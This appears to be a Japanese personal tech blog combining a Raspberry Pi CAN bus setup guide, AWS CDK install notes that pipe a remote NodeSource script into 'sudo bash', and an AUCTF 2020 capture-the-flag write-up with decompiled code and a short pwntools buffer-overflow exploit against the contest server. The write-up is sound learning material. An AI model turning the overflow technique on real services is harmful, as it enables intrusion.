Raspberry piでCAN通信をする方法

使用機材

Amazonでも売っているこのCAN通信モジュールを使用して、2台のラズパイ間でCAN通信を行う方法についてのメモ

www.amazon.co.jp

配線

片側のラズパイの配線はこのようにした。もう片方も同じように配線し、CANHとCANLをそれぞれ接続する。また、終端抵抗用のジャンパーピンは接続しておく。

f:id:takchs:20210124133953p:plain
スケマ図

ラズパイでのCAN通信セットアップ

主にこちらの記事を参考にソフトウェアとしてのCAN通信のセットアップを行った。他の記事やブログなども参考にしたが、おそらくラズパイのOSのバージョンによって設定すべき内容が異なるためだいぶハマった、、、 https://tech.aptpod.co.jp/entry/2019/12/24/070000#fnref:2 以下の設定を両方のラズパイで行う。

can-utilsのインストール

sudo apt-get install can-utils

CAN Interface有効化

/boot/config.txtに以下の設定を追記する。ここでは、使用しているCANモジュールのOscillatorの周波数が8MHzのためとりあえずそれに合わせた設定にしているが、適切な設定方法は未調査。

# Enable MCP2515 
dtoverlay=spi-bcm2835 
dtoverlay=mcp2515-can0,oscillator=8000000,interrupt=25 
dtoverlay=spi-dma

ラズパイを再起動後に以下のようにcan0インターフェースが見えるか確認する。

$ ip link
4: can0: <NOARP,UP,LOWER_UP,ECHO> mtu 16 qdisc pfifo_fast state UP mode DEFAULT group default qlen 10 
    link/can

SocketCAN interfaceの設定

$ ip link set can0 type can bitrate 500000
$ ip link set can0 up
$ ifconfig
can0: flags=193<UP,RUNNING,NOARP>  mtu 16 
        unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00  txqueuelen 10  (UNSPEC) 
        RX packets 0  bytes 0 (0.0 B) 
        RX errors 0  dropped 0  overruns 0  frame 0 
        TX packets 0  bytes 0 (0.0 B) 
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

~/.bash_profileなどに以下の行を追記しておけば、起動時に毎回設定しなくて済む。

ip link set can0 type can bitrate 500000
ip link set can0 up

通信テスト

受信側のラズパイRxから送信側のラズパイTxにメッセージを送ってみる。 まず、受信側のラズパイRxで以下のコマンドを実行し、CANのメッセージを待ち受ける。

$ candump can0

次に送信側のラズパイTxでCANメッセージを送信する。

$ cansend can0 123#0123456789abcdef

成功すればラズパイRxで以下のように受信できる。

can0  123   [8]  01 23 45 67 89 AB CD EF

疑問

今回使用したCANモジュールはCAN TransceiverにTJA1051を使用しているが、このICはVCCが5Vである。しかし、今回はラズパイの3.3V電源を使用して、普通に動作しているようである。 - TJA1051 High-speed CAN transceiver

参考リンク

AWS EC2のAmazon LinuixにCDKをインストールする

Nodejsとrpmをインストール

github.com

上記URLを参考にインストールしたいNodejsのバージョンに応じてコマンドを実行する。 今回はNodejs v14をインストールしたため以下のコマンドを実行した。

$ curl -sL https://rpm.nodesource.com/setup_14.x | sudo bash -

その後以下のコマンドでNodejsとrpmをインストールした。

$ sudo yum install -y nodejs
$ npm install -g typescript

CDKインストール

$ npm Install -g aws-cdk

適当なテストプロジェクトを作ってみる

$ cd ~/workspace/cdk_test
$ cdk init app --language typescript
$ npm install @aws-cdk/aws-s3 @aws-cdk/aws-lambda

以下、おまけ

UbuntuAWS CDKをインストール

$ aws configure
AWS Access Key ID [None]: ********
AWS Secret Access Key [None]: ********
Default region name [None]: ap-northeast-1 
Default output format [None]: json

nodejs, npmインストール

$ sudo apt install -y nodejs npm

CDKインストール

$ sudo npm install -g aws-cdk

AUCTF 2020 Writeup

AUCTF 2020のwriteupです。
一人で参加して、5553pt取得し236thでした。

Cryptography

Land Locked

問題文

Eve found this in one of the packets she sniffed. What does it say?

YXVjdGZ7NExMX3kwVXJfQjQ1M19SX2IzbDBOZ18yX3VTXzEyNGRmMnNkYXN2fQ==

回答
Base64エンコードされた文字列に見えるので、デコードするだけ

$ echo -n "YXVjdGZ7NExMX3kwVXJfQjQ1M19SX2IzbDBOZ18yX3VTXzEyNGRmMnNkYXN2fQ==" | base64 -d
auctf{4LL_y0Ur_B453_R_b3l0Ng_2_uS_124df2sdasv}

I'll Have The Salad

問題文

Bob and Alice love to go to the local farmer's market to get their groceries. You could call them regulars. They know the farmers so well that they've started sharing secret messages with them. Here's one of the messages they wrote to one lettuce farmer. vpxoa{eP5o_4_R4mH_pK_1_4421_9952}

回答
文字列だけ見ても推測可能ではあるが、問題文のレタス農家というところからも、この文字列はシーザー暗号で暗号化されていると推測できます。
今回は以下のウェブサイトを利用して複合しました。
Caesar cipher: Encode and decode online — Cryptii
shift -> 2

Flag
auctf{jU5t_4_W4rM_uP_1_4421_9952}

Cryptography

Crack Me

問題文

Here's an easy one.

Hash: 33f966f258879f252d582d45cef37e5e

NOTE: The flag is NOT in the standard auctf{} format

回答
128-bitのハッシュ値が与えられているので、MD5でハッシュ化されていると推測しました。以下のウェブサイトで調べたところ元の文字列を取得できました。

Best MD5 Hash Decrypt | Hash Toolkit

Flag
bad4ever

Sequence

Pi Day

問題文

Time to put your problem solving skills to work! Finish the sequence!

14, 15, 92, 65, 35, _ , _ , _ , _ , _

NOTE: The flag is NOT in the standard auctf{} format

flag format - comma separated list 1, 2, 3, 4, 5

回答
円周率の小数点以下の数列。

Flag
89, 79, 32, 38, 46

Polar Bears

問題文

Time to put your problem solving skills to work! Finish the sequence!

NOTE: The flag is NOT in the standard auctf{} format

4, 8, 15, _ , _ , _

flag format - comma separated list 1, 2, 3

回答
解けてはいるが、解法を思い出せずw
思い出したら追記します。

Prime Rib

問題文

Time to put your problem solving skills to work! Finish the sequence!

0, 1, 1, 2, 4, 8, 6, 22, 8, 9, 10, , , , , __

NOTE: The flag is NOT in the standard auctf{} format

flag format - comma separated list 1, 2, 3, 4, 5

回答
タイトルのPrimeというワードからこの問題は素数に関するものであると予想しました。0から10までの整数と問題文の数列の対応を取ると以下のようになります。

0 -> 0
1 -> 1
2 -> 1
3 -> 2
4 -> 4
5 -> 8
6 -> 6
7 -> 22
8 -> 8
9 -> 9
10 -> 10

これを見ると、素数でない数はその数自身が対応していることがわかります。さらに注意深く観察すると、素数の数の場合はそれ以前の数列の値を合計した数となっていることがわかりました。このことから、11から15までの整数に対応する数列は以下のようになります。

71, 12, 154, 14, 15

解く際に使用したスクリプトはこんな感じです。

solve.py

prime_number = [2, 3, 5, 7, 11, 13]

sum = 0
sequence = []
for i in range(0, 16):
    if i in prime_number:
        sequence.append(sum)
    else:
        sequence.append(i)
    sum = sum + sequence[-1]

print sequence
$ python solve.py
[0, 1, 1, 2, 4, 8, 6, 22, 8, 9, 10, 71, 12, 154, 14, 15]

Reversing

リバーシングの問題を解くにあたってはGhidraを大いに使用しました。GhidraはNSAが開発したオープンソースリバースエンジニアリングツールで、実行ファイルの逆アセンブルや逆コンパイルが可能なことが特徴です。
今回初めてGhidraを使いましたが、逆コンパイルの結果はかなり正確で、逆アセンブル結果をあまり見なくても問題を解くことができました。その分逆アセンブル結果を読み解く力があまりつかなくなりそうなので、多用は考えものですが、単にポイントを稼ぐためには非常に有用でした。

Cracker Barrel

問題文

I found a USB drive under the checkers board at cracker barrel. My friends told me not to plug it in but surely nothing bad is on it?

I found this file, but I can't seem to unlock it's secrets. Can you help me out?

Also.. once you think you've got it I think you should try to connect to challenges.auctf.com at port 30000 not sure what that means, but it written on the flash drive..

回答
とりあえず与えられた実行ファイルを実行してみると以下のような応答が返ってきました。

$ ./cracker_barrel
Give me a key!

なんらかの正しい文字列を入力していく形式のようです。

mainの逆コンパイル結果

ulong main(void)

{
  int iVar1;
  
  setvbuf(stdout,(char *)0x0,2,0);
  iVar1 = check();
  if (iVar1 == 0) {
    puts("That\'s not it!");
  }
  else {
    print_flag();
  }
  return (ulong)(iVar1 == 0);
}

どうやらcheck関数でユーザ入力を受け取り、なんらかの判定を行なっているようです。
checkの逆コンパイル結果

undefined8 check(void)

{
  int iVar1;
  undefined8 uVar2;
  long in_FS_OFFSET;
  char local_2018 [8200];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Give me a key!");
  fgets(local_2018,0x2000,stdin);
  remove_newline(local_2018);
  iVar1 = check_1(local_2018);
  if (iVar1 != 0) {
    puts("You have passed the first test! Now I need another key!");
    fgets(local_2018,0x2000,stdin);
    remove_newline(local_2018);
    iVar1 = check_2(local_2018);
    if (iVar1 != 0) {
      puts("Nice work! You\'ve passes the second test, we aren\'t done yet!");
      fgets(local_2018,0x2000,stdin);
      remove_newline(local_2018);
      iVar1 = check_3(local_2018);
      if (iVar1 != 0) {
        puts("Congrats you finished! Here is your flag!");
        uVar2 = 1;
        goto LAB_00101450;
      }
    }
  }
  uVar2 = 0;
LAB_00101450:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

check関数の中では、さらにcheck_1、check_2、check_3関数が呼ばれています。
check_1の逆コンパイル結果

undefined8 check_1(char *param_1)

{
  int iVar1;
  undefined8 uVar2;
  
  iVar1 = strcmp(param_1,"starwars");
  if (iVar1 == 0) {
    iVar1 = strcmp(param_1,"startrek");
    if (iVar1 == 0) {
      uVar2 = 0;
    }
    else {
      uVar2 = 1;
    }
  }
  else {
    uVar2 = 0;
  }
  return uVar2;
}

一つ目の文字列は"starwars"であることがわかりました。

check_2の逆コンパイル結果

ulong check_2(char *param_1)

{
  int n_len;
  size_t sVar1;
  char *buf;
  int i;
  
  sVar1 = strlen(param_1);
  n_len = (int)sVar1;
  buf = (char *)malloc((long)(n_len + 1) << 3);
  i = 0;
  while (i < n_len) {
    buf[i] = "si siht egassem terces"[(n_len + -1) - i];
    i = i + 1;
  }
  n_len = strcmp(buf,param_1);
  return (ulong)(n_len == 0);
}

二つ目の文字列は"si siht egassem terces"を逆順にしたもの、つまり"secret message this is"とわかりました。

check_3の逆コンパイル結果

ulong check_3(char *input_buf)

{
  bool fail;
  size_t n_len;
  void *buf;
  long in_FS_OFFSET;
  int i;
  int j;
  int ans [4];
  undefined4 local_38;
  undefined4 local_34;
  undefined4 local_30;
  undefined4 local_2c;
  undefined4 local_28;
  undefined4 local_24;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  ans[0] = 0x7a;
  ans[1] = 0x21;
  ans[2] = 0x21;
  ans[3] = 0x62;
  local_38 = 0x36;
  local_34 = 0x7e;
  local_30 = 0x77;
  local_2c = 0x6e;
  local_28 = 0x26;
  local_24 = 0x60;
  n_len = strlen(input_buf);
  buf = malloc(n_len << 2);
  i = 0;
  while (n_len = strlen(input_buf), (ulong)(long)i < n_len) {
    *(uint *)((long)buf + (long)i * 4) = (int)input_buf[i] + 2U ^ 0x14;
    i = i + 1;
  }
  fail = false;
  j = 0;
  while (n_len = strlen(input_buf), (ulong)(long)j < n_len) {
    if (*(int *)((long)buf + (long)j * 4) != ans[j]) {
      fail = true;
    }
    j = j + 1;
  }
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return (ulong)!fail;
}

以下の行に注目すると、入力文字列に特定の演算((n + 2) ^ 0x14)を施した後、とあるバイト列(0x7a, 0x21, 0x21, 0x62, 0x36, 0x7e, 0x77, 0x6e, 0x26, 0x60)と比較しているようです。

    *(uint *)((long)buf + (long)i * 4) = (int)input_buf[i] + 2U ^ 0x14;

以下のスクリプトを書いて3つ目の文字列を計算しました。
solve.py

ans = [0x7a, 0x21, 0x21, 0x62, 0x36, 0x7e, 0x77, 0x6e, 0x26, 0x60]
buf = []
for i in ans:
    c = (i ^ 0x14) - 0x2
    buf.append(chr(c))

print "".join(buf)  # l33t hax0r

mobile0

問題文

Hey, look its an android file. Can you find the flag?

https://drive.google.com/open?id=1rX6W8xC5VCmzsFLO9r5yPCFKt4LMU5sc

回答
apkファイルが与えられていますが、これはzip形式なので解凍することができます。回答したファイルに以下のコマンドを実行することでフラグを取得できました。

$ find . -type f | xargs strings | grep auctf
auctf{m0b1le_r3v3rs1ng!!}
auctf{m0b1le_r3v3rs1ng!!}

mobile1

問題文

My friend sent this file to me and said that there was a flag in it. Can you help me?

https://drive.google.com/open?id=1iglx4cQ_iVi1RABBa1eF0OXcOGECjVLy

回答
.ipa拡張子については知らなかったが、どうやらiOSアプリのファイルのようでした。これもzip形式のようなので、全問と同じやり方を試したところフラグを取得できた。

$ file mobile1.ipa
mobile1.ipa: iOS App Zip archive data, at least v2.0 to extract
$ unzip mobile1.ipa
...
$ find Payload -type f | xargs strings | grep auctf
auctf{i0s_r3v3rs1ng_1s_1nt3r3st1ng}
auctf{i0s_r3v3rs1ng_1s_1nt3r3st1ng}
#auctf{i0s_r3v3rs1ng_1s_1nt3r3st1ng}

Mr. Game and Watch

問題文

My friend is learning some wacky new interpreted language and different hashing algorithms. He's hidden a flag inside this program but I cant find it...

He told me to connect to challenges.auctf.com 30001 once I figured it out though.

回答
Javaのclassファイルが与えられるので、逆コンパイルすると各問いに設定されているハッシュ値に対応する文字列を入力するという問題でした。以下のサイトで各ハッシュ値を検索したところ対応する文字列を取得できた。

Best MD5 SHA1 Decrypt | Encrypt | Crack | Decode | Hash Toolkit

Sha256 Decrypt & Encrypt - More than 15.000.000.000 hashes

d5c67e2fc5f5f155dff8da4bdc914f41: masterchief
264212deff89ade15661a59e7b632872d858f2c6: princesspeach
5ebb49e499a6613e832e433a2722edd0d2947d56fdb4d684af0f06c631fdf633: solidsnake

Sora

問題文

This obnoxious kid with spiky hair keeps telling me his key can open all doors.

Can you generate a key to open this program before he does?

Connect to challenges.auctf.com 30004

回答

後ほど更新します。

Plain Jane

問題文

I'm learning assembly. Think you can figure out what this program returns?

Note: Not standard flag format. Please provide either the unsigned decimal equivalent or hexadecimal equivalent.

回答

後ほど更新します。

Pwn

Thanksgiving Dinner

問題文

I just ate a huge dinner. I can barley eat anymore... so please don't give me too much!

nc challenges.auctf.com 30011

Note: ASLR is disabled for this challenge

回答
問題のあるコードをGhidraで逆コンパイルしてみてみると、ローカル変数の値が特定の条件を満たした場合にフラグを出力するようになっている。ローカル変数はバッファオーバーフローにより上書き可能である。

void vulnerable(void)

{
  char local_30 [16];
  int local_20;
  int local_1c;
  int local_18;
  int local_14;
  int local_10;
  
  puts("Hey I heard you are searching for flags! Well I\'ve got one. :)");
  puts("Here you can have part of it!");
  puts("auctf{");
  puts("\nSorry that\'s all I got!\n");
  local_10 = 0;
  local_14 = 10;
  local_18 = 0x14;
  local_1c = 0x14;
  local_20 = 2;
  fgets(local_30,0x24,stdin);
  if ((((local_10 == 0x1337) && (local_14 < -0x14)) && (local_1c != 0x14)) &&
     ((local_18 == 0x667463 && (local_20 == 0x2a)))) {
    print_flag();
  }
  return;
}

回答のために作成したコード

from pwn import *

con = connect("challenges.auctf.com", 30011)
buf = "A"*16

local_10 = 0x1337
local_14 = -0x20
local_18 = 0x667463
local_1c = 0x20
local_20 = 0x2a
buf += pack(local_20)
buf += pack(local_1c)
buf += pack(local_18)
buf += pack(local_14)
buf += pack(local_10)

con.sendline(buf)
con.interactive()